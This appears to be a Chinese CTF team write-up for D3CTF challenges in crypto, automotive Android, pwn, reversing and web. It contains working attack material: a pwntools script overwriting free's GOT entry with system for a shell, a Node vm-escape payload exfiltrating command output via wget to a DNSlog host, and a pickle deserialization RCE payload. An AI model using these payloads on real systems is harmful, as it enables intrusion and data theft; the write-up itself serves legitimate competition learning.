return matrix(M.nrows(), M.ncols(), map(int, findall(b"-?\\d+", ret)))
M = flatter(M)
SS = []
T = []
R = []
for i in range(41):
R.append(-M[i][-100]+sum(M[i][:-100]))
T.append(M[i][:-100])
T = Matrix(ZZ,T)
R = vector(R)
T = T.T.stack(R)
# for i in range(n):
# ttt = [ZZ(a[i,i])-1 for a in Alist]
# print(ttt+[1])
# str(Matrix(ZZ,ttt+[1])*T)
T = identity_matrix(141).augment(T)
for i in range(141,182):
T.rescale_col(i,2^400)
T = T.BKZ(block_size=32)
for i in T:
if j(i[:141]):
if i[140]==-1:
SS.append(-i[:140])
else:
SS.append(i[:140])
T = []
R = []
for i in range(41):
R.append(0+sum(M[i][:-100]))
T.append(M[i][:-100])
T = Matrix(ZZ,T)
R = vector(R)
T = T.T.stack(R)
# for i in range(n):
# ttt = [ZZ(a[i,i])-1 for a in Alist]
# print(ttt+[1])
# str(Matrix(ZZ,ttt+[1])*T)
T = identity_matrix(141).augment(T)
for i in range(141,182):
T.rescale_col(i,2^200)
T = T.BKZ(block_size=32)
for i in T:
if j(i[:141]):
if i[140]==-1:
SS.append(-i[:140])
else:
SS.append(i[:140])
# SS = SS[:-1]
SS = Matrix(ZZ,SS)
ss = Matrix(ZZ,[1]*100)
flag = ss*SS
flag = [ZZ(i)+100 for i in flag[0]]
print(flag)
import hashlib
from Crypto.Cipher import AES
key = hashlib.sha256(str(flag).encode()).digest()
aes = AES.new(key = key , mode = AES.MODE_ECB)
enc = b'\x83\x1a)LB\xa6\xfb\xacS\xfa\xd03Q\x83c\xcd\xe6K\xbeI\xfc\x90_\xde=`nM&z\xca\x81\xcf\xdd\xde\x0c\x1b\xf8[C\xdc%\x97\xb2\xa4\xb4\xf6T'
flag = aes.decrypt(enc)
print(flag)
# b'd3ctf{OrTh0g0n@L_L@Tt1Ce_iS_wOnDe2fU1}\n\n\n\n\n\n\n\n\n\n'
CAR
IOV-D3_car
题目环境太垃圾了,安卓环境一直断😅
其实很简单,一开始有点懵,想加个监看进去看看,日过车的都知道scrcpy是个好工具😋
https://github.com/Genymobile/scrcpy
可是这个环境真的太卡了,上了scrcpy之后那是一点就断;背景这几个字我还以为要打开车载导航之类的,但是这个导航怎么点都点不开,还老是断服务;
所以还是接着命令行操作,先来看一下应用列表 哎 您猜怎么着?
一眼就看到了一个非常可疑的APP
package:com.d3car.factory
generic_x86_64:/ $ pm list packages
package:com.android.cts.priv.ctsshim
package:com.android.car.messenger
package:com.android.providers.telephony
package:com.google.android.car.kitchensink
package:com.android.providers.calendar
package:com.android.providers.media
package:com.android.wallpapercropper
package:com.android.car.media
package:com.android.car.radio
package:com.android.car.trust
package:com.android.documentsui
package:com.android.externalstorage
package:com.android.htmlviewer
package:com.android.companiondevicemanager
package:com.android.quicksearchbox
package:com.android.mms.service
package:com.android.providers.downloads
package:com.android.car.overview
package:android.car.cluster.loggingrenderer
package:com.android.defcontainer
package:com.android.car.mapsplaceholder
package:com.android.providers.downloads.ui
package:com.android.pacprocessor
package:com.android.certinstaller
package:com.android.carrierconfig
package:android
package:com.android.contacts
package:com.android.camera2
package:com.android.car.systemupdater
package:com.android.car
package:com.android.egg
package:com.android.mtp
package:com.android.nfc
package:com.android.backupconfirm
package:com.android.provision
package:com.android.statementservice
package:com.android.calendar
package:com.android.systemui.theme.dark
package:com.android.car.hvac
package:com.android.providers.settings
package:com.android.sharedstoragebackup
package:com.android.printspooler
package:com.android.dreams.basic
package:com.android.car.dialer
package:com.android.webview
package:com.android.inputdevices
package:com.android.support.car.lenspicker
package:com.android.bips
package:com.android.musicfx
package:com.android.cellbroadcastreceiver
package:android.ext.shared
package:com.android.onetimeinitializer
package:com.android.server.telecom
package:com.android.keychain
package:com.android.printservice.recommendation
package:com.android.gallery3d
package:android.ext.services
package:com.android.calllogbackup
package:com.android.packageinstaller
package:com.android.carrierdefaultapp
package:com.svox.pico
package:com.android.car.media.localmediaplayer
package:com.android.proxyhandler
package:com.android.inputmethod.latin
package:org.chromium.webview_shell
package:com.d3car.factory
package:android.car.usb.handler
package:com.android.managedprovisioning
package:com.android.dreams.phototable
package:com.android.smspush
package:android.car.cluster.sample
package:com.android.wallpaper.livepicker
package:com.android.storagemanager
package:jp.co.omronsoft.openwnn
package:com.android.bookmarkprovider
package:com.android.settings
package:com.android.calculator2
package:com.android.cts.ctsshim
package:com.android.vpndialogs
package:com.android.email
package:com.android.music
package:com.android.phone
package:com.android.shell
package:com.android.wallpaperbackup
package:com.android.providers.blockednumber
package:com.android.providers.userdictionary
package:com.android.emergency
package:com.android.location.fused
package:com.android.deskclock
package:com.android.systemui
package:com.android.bluetoothmidiservice
package:com.android.bluetooth
package:com.android.providers.contacts
package:com.android.captiveportallogin
generic_x86_64:/ $
generic_x86_64:/ $
generic_x86_64:/ $
generic_x86_64:/ $ pm path com.d3car.factory
package:/system/priv-app/D3Factory/D3Factory.apk
generic_x86_64:/ $
PS G:\> adb pull /system/priv-app/D3Factory/D3Factory.apk
/system/priv-app/D3Factory/D3Factory.apk: 1 file pulled, 0 skipped. 0.1 MB/s (38128 bytes in 0.354s)
简单逆向就可以找到flag了)
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" android:gravity="center" android:orientation="vertical" android:layout_width="match_parent" android:layout_height="match_parent">
<TextView android:textSize="@dimen/common_textsize_24" android:id="@+id/flag1" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginBottom="20dp" android:text="d3ctf{yes_you_f1nd_b4ckdo0r}"/>
<Button android:id="@+id/tcpdump" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="open/close tcpdump"/>
</LinearLayout>
也可以用另一种方法,直接拉起应用的Activity
generic_x86_64:/ $ dumpsys package com.d3car.factory | grep -i activity
Activity Resolver Table:
4d5331e com.d3car.factory/.FactoryActivity filter 1beb95a
b8e17ff com.d3car.factory/.PwdAuthActivity filter ee66505
b8e17ff com.d3car.factory/.PwdAuthActivity filter ee66505
android.permission.USER_ACTIVITY: granted=true
android.permission.MANAGE_ACTIVITY_STACKS: granted=true
android.permission.USER_ACTIVITY: granted=true
android.permission.MANAGE_ACTIVITY_STACKS: granted=true
generic_x86_64:/ $
generic_x86_64:/ $
generic_x86_64:/ $
generic_x86_64:/ $ am start -n com.d3car.factory/.FactoryActivity
Starting: Intent { cmp=com.d3car.factory/.FactoryActivity }
generic_x86_64:/ $
generic_x86_64:/ $
generic_x86_64:/ $
D3_car_flag2&flag3
PS G:\> adb pull /system/priv-app/D3Factory/oat/x86_64
先这样再那样,把vdex还原成dex
package com.d3car.factory;
import android.app.Activity;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;
public class PwdAuthActivity extends Activity {
private Context mContext;
private Button mEnterBtn;
private TextView mKeyText;
private EditText mPwdText;
@Override // android.app.Activity
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(2130837504);
this.mPwdText = (EditText) findViewById(2131165185);
this.mEnterBtn = (Button) findViewById(2131165186);
this.mKeyText = (TextView) findViewById(2131165184);
this.mContext = getApplicationContext();
Log.d("D3CTF", "onCreate: ");
this.mEnterBtn.setOnClickListener(new View.OnClickListener() { // from class: com.d3car.factory.PwdAuthActivity.1
@Override // android.view.View.OnClickListener
public void onClick(View v) {
PwdAuthActivity.this.verifyPWD(PwdAuthActivity.this.mPwdText.getText().toString(), PwdAuthActivity.this.mKeyText.getText().toString());
}
});
}
public void verifyPWD(String pwd, String key) {
if (pwd.length() == 0) {
Toast.makeText(this, getString(2131099707), 0).show();
} else if (verifyPassWord(pwd, key)) {
Log.d("D3CTF", "verifyPWD: the password is right!");
startActivity(new Intent(this, FactoryActivity.class));
} else {
Toast.makeText(this, getString(2131099706), 0).show();
}
}
public static boolean verifyPassWord(String password, String key) {
if (key == null || key.isEmpty()) {
return "20240419".equals(password);
}
return "uVQPRRYTrpvqvCv6".equals(encryptPwdByKey(password, key));
}
public static String encryptPwdByKey(String pwd, String key) {
char[] pwd_arr = pwd.toCharArray();
char[] key_arr = key.toCharArray();
char[] result = new char[pwd.length()];
for (int i = 0; i < pwd.length(); i++) {
result[i] = (char) (pwd_arr[i] ^ key_arr[i % pwd.length()]);
}
return new String(result);
}
}
这里应该要逆向拿到密码)但是太卡了 我一输密码就断😭不确定过了密码之后会有什么)flag?
package com.d3car.factory;
import android.app.Activity;
import android.os.Bundle;
import android.os.SystemProperties;
import android.widget.CheckBox;
import android.widget.CompoundButton;
import java.io.IOException;
private CheckBox mTcpDump;
@Override // android.app.Activity
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(2130837506);
this.mTcpDump = (CheckBox) findViewById(2131165189);
if (SystemProperties.getInt("sys.tcpdump", 0) == 1) {
this.mTcpDump.setChecked(true);
} else {
this.mTcpDump.setChecked(false);
}
this.mTcpDump.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() { // from class: com.d3car.factory.TcpdumpActivity.1
@Override // android.widget.CompoundButton.OnCheckedChangeListener
public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
if (isChecked) {
SystemProperties.set("sys.tcpdump", "1");
try {
Runtime.getRuntime().exec("/system/xbin/tcpdump -i any -s 0 -w /sdcard/tcpdumplog.pcap -W 1");
} catch (IOException e) {
e.printStackTrace();
}
} else {
SystemProperties.set("sys.tcpdump", "0");
try {
Runtime.getRuntime().exec("pkill tcpdump");
} catch (IOException e2) {
e2.printStackTrace();
}
}
}
});
}
}
这里可以看到整个app自带了tcpdump功能
在adb直接使用tcpdump显示被ban了,用自带的APP去抓包;打钩开始取消暂停;这里抓的包是自动保存到sdcard目录里面的。
generic_x86_64:/ $ cd sdcard/
generic_x86_64:/sdcard $ ls -l
total 48
drwxrwx--x 2 root sdcard_rw 4096 2024-04-28 13:43 Alarms
drwxrwx--x 2 root sdcard_rw 4096 2024-04-28 13:43 DCIM
drwxrwx--x 2 root sdcard_rw 4096 2024-04-28 13:43 Download
drwxrwx--x 2 root sdcard_rw 4096 2024-04-28 13:43 Movies
drwxrwx--x 2 root sdcard_rw 4096 2024-04-28 13:43 Music
drwxrwx--x 2 root sdcard_rw 4096 2024-04-28 13:43 Notifications
drwxrwx--x 2 root sdcard_rw 4096 2024-04-28 13:43 Pictures
drwxrwx--x 2 root sdcard_rw 4096 2024-04-28 13:43 Podcasts
drwxrwx--x 2 root sdcard_rw 4096 2024-04-28 13:43 Ringtones
-rw-rw---- 1 root sdcard_rw 12288 2024-04-28 13:47 tcpdumplog.pcap
PS G:\> adb pull /sdcard/tcpdumplog.pcap
/sdcard/tcpdumplog.pcap: 1 file pulled, 0 skipped. 0.1 MB/s (27477 bytes in 0.406s)
抓到MQTT服务的主题&账号&密码(断的太快了 没机会传扫描工具到IVI里面扫😭扫一下应该就能扫到其他ECU然后梭哈了
Client ID Length: 11
Client ID: Gojo_Satoru
User Name Length: 11
User Name: abmaM_kcalb
Password Length: 14
Password: Ya5_1_n4C_tahW
以及两条MQTT的报文
Topic: can/514/write
Message: 022701ffffffffff #看到2701 血脉觉醒 是UDS服务
#这里包含了27服务的pincode
Topic: can/514/write
Message: 0527022dcf28ffff
猜测后续应该是要过掉27服务 然后进入QNX拿flag
具体请看ISO14229之27服务
PWN
d3note
存在下标越界,能造成任意读,但是只能读地址以0x8
结尾的内存单元,所以只要找到符合条件的且存放了指向一个libc地址的指针的地址,就能泄出libc,通过调试找到符合条件的内存0x4006b8
。
然后能修改地址以0x0
结尾的内存单元的低32位,修改free_got
为system
,free掉存放'/bin/sh\x00'的堆块getshell。
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = remote('', )
def menu(index):
p.sendline(str(index))
sleep(0.2)
def add(idx, size, content='a'):
menu(276)
p.sendline(str(idx))
sleep(0.1)
p.sendline(str(size))
sleep(0.1)
p.sendline(content)
sleep(0.1)
def delete(index):
menu(6425)
sleep(0.2)
p.sendline(str(index))
sleep(0.2)
def show(index):
menu(1300)
p.sendline(str(index))
sleep(0.1)
show(-927)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = leak - 0x7ceb0
system = libc_base + 0x4c990
system_low = system & 0xffffffff
add(0, 32)
delete(0)
add(0, 32, '/bin/sh\x00')
add(-10, system_low)
delete(0)
p.interactive()
Reverse
RandomVM
直接进行调试我们在进行操作的地方都下个断点,然后等他跑,一直按f9就好,然后一路登记
[0] 0 ^= 0x31
----
[1] 0 ^= 0x31
[1] swap 3
[1] 0x26 ^= 3
[1] 0x25 ^= 0x32
----
[2] 0 = 0x32----119
[2] swap 0xff
[2] 0 ^= 0xff
[2] swap 0x1
----
[3] 0 ^= 0x1-----0x6f
[3] swap 0x1
[3] swap 6
[3] 0 ^= 0x33
----
[4] 0 ^=0x33----0x77
[4] swap 7
[4] 0x66 ^=7
[4] 0x61 ^=0x34
----
[5] = 0x34-----0x4a
[5] swap 4
[5] 0x43 ^= 4
[5] 0x47 ^=0x35
----
[6] = 0x35-------0x75
[6] swap 4
[6] 0x53 ^= 0x36
----
[7] 0 ^= 0x36------0x6d
[7] swap 7
[7] 0x6c ^= 7
[7] 0x6b ^= 0x37
----
[8] 0 ^= 0x37-----0x70
[8] swap 7
[8] 0x6e ^=0x38
----
[9] 0 ^= 0x38------0x56
[9] swap 2
[9] 0x0e ^= 0x39
----
[10] 0 ^=0x39--------0x6d
[10] swap 4
[10] 0x39 ^=0x30
----
[11] 0 ^=0x30-------0x76
[11] swap 4
[11] 3 ^=0x71
----
[12] =0x71-------0x4d
[12] swap 7
[12] 0xe2 ^=7
owJumpVmvM
逻辑就这样(最后还进行了前后异或)
#include <stdio.h>
#include <stdint.h>
#include <stdio.h>
int main()
{
unsigned char arr[] =
{
157, 107, 161, 2, 215, 237, 64, 246, 14, 174,
132, 25
};
for (int i = 11; i > 0; i--)
{
arr[i] = arr[i] ^ arr[i - 1];
}
for (int i = 0; i < 12; i++) {
printf("0x%x,", arr[i] & 0xff);
}
//0x9d, 0xf6, 0xca, 0xa3, 0xd5, 0x3a, 0xad, 0xb6, 0xf8, 0xa0, 0x2a, 0x9d
return 0;
}
脚本之后我们用上述数据进行手搓
这里我们只能够拿到前10个位
还有两位我们开爆破
import subprocess
import itertools
def run_program(flag):
command = "./RandomVM"
print("Input:", flag)
result = subprocess.run([command], input=flag, text=True, capture_output=True)
print("Output:", result.stdout.strip())
return result.stdout.strip()
def brute_force():
visible_chars = "".join(chr(i) for i in range(32, 127))
for combo in itertools.product(visible_chars, repeat=2):
flag = ''.join(combo) + "owJumpVmvM"
result = run_program(flag)
if "Yes!" in result:
with open("d3ctfflag.txt", "w") as f:
f.write(result.split("flag: ")[1])
return
else:
print("No. Try again.")
def main():
brute_force()
if name == "__main__":
main()
Web
stack_overflow
vm逃逸,不知道思路对不对
{"stdin":["b','d');let res = import('./app.js');var a = res.toString.constructor(\"return this\")().process.mainModule.require(\"child_process\").execSync(\"wget `whoami`.kbqsag.ceye.io\").toString();('","3"]}
wget用dnslog能带出数据,但执行不了 /``readflag
后边没思路了
write溢出pie:
read覆盖stack[42],执行call_interface,随便写个vm逃逸的rce即可,没截到图,懒得截了:
注意覆盖的pie+42即可
moonbox
agent附件可控,看日志知道里面有sh脚本会直接执行,直接构造恶意sh脚本(例如包含cat /flag | base64即可),然后tar打包成agent.tar上传即可,在运行日志有回显
运行日志有回显:
base64解码得flag
d3pythonhttp
首先是对于token的伪造
可以看到解密的key是从kid路径中的文件获取的,这里猜测改路径将其设置为目录滞空,绕过检测,事实证明确实可以
在backend路由处可以发现对TE进行了处理,个人理解这里的data=......是对chunked的具体实现
我们看到在后端web.py对于data的处理代码
这里并没有对TE进行处理,根据逻辑,不满足该条件将会使用CL进行处理,所以说如果我们大写CHUNKED那么就既可以利用前端的分片,又可以让后端使用CL处理,最终构造如下请求包
我们传输的时候,由于数据经过处理,使用分片的方式进行传输,后端得到的结果即为分片传输的数据部分,由于前端请求的TE经过大写处理,后端的data部分并不会解析,所以后端会用CL方法解析,所以我们前端伪造一个恶意CL长度,就可以实现将特定的某一段字符传入后端(即BackdoorPasswordOnlyForAdmin之前字符的长度。后端不会接收倒,但是前端可以),这样一来就饶过了对于BackdoorPasswordOnlyForAdmin的检测,之后就实现了任意的pickle反序列化,经过测试环境是不出网的,首当其冲想到内存马注入,但python内存马是个什么玩意,搜了半天也没找到,但大致思路就是对路由进行处理,最终访问回显出我们的结果,由于后端是web.py的,和flask还不太一样,所以很多注入都失效了,最终查找函数的时候找到了add_processor,效果简单来说就是在访问路由后再执行这么一个东西,网上找一条eval代码执行的链子
import pickle
import base64
class A(object):
def __reduce__(self):
return (eval, ("app.add_processor((lambda self : __import__('os').popen('cat /Secr3T_Flag').read()))",))
a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))
修改对应的CL和data部分的长度,打过去,在backend位置访问即可得到flag
MISC
Baldur's Gate 3 Complete Spell List
去Baldur's Gate3的wiki把法术按等级扒下来
https://bg3.wiki/wiki/Category:Level_1_Spells
https://bg3.wiki/wiki/Category:Level_2_Spells
然后把flag_spells
按照一个dict
为一组分开,把咒语转成咒语等级
print("".join(list(map(lambda num:chr(int(num,9)), ' '.join([''.join(str(next(i for i, spells in enumerate(open('spells.txt', 'r').read().split('###')) if spell in spells.split('\n'))) for spell in spell_group.values()) for spell_group in eval(open('flag_spells.json', 'r').read())]).strip().split(' ')))))
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论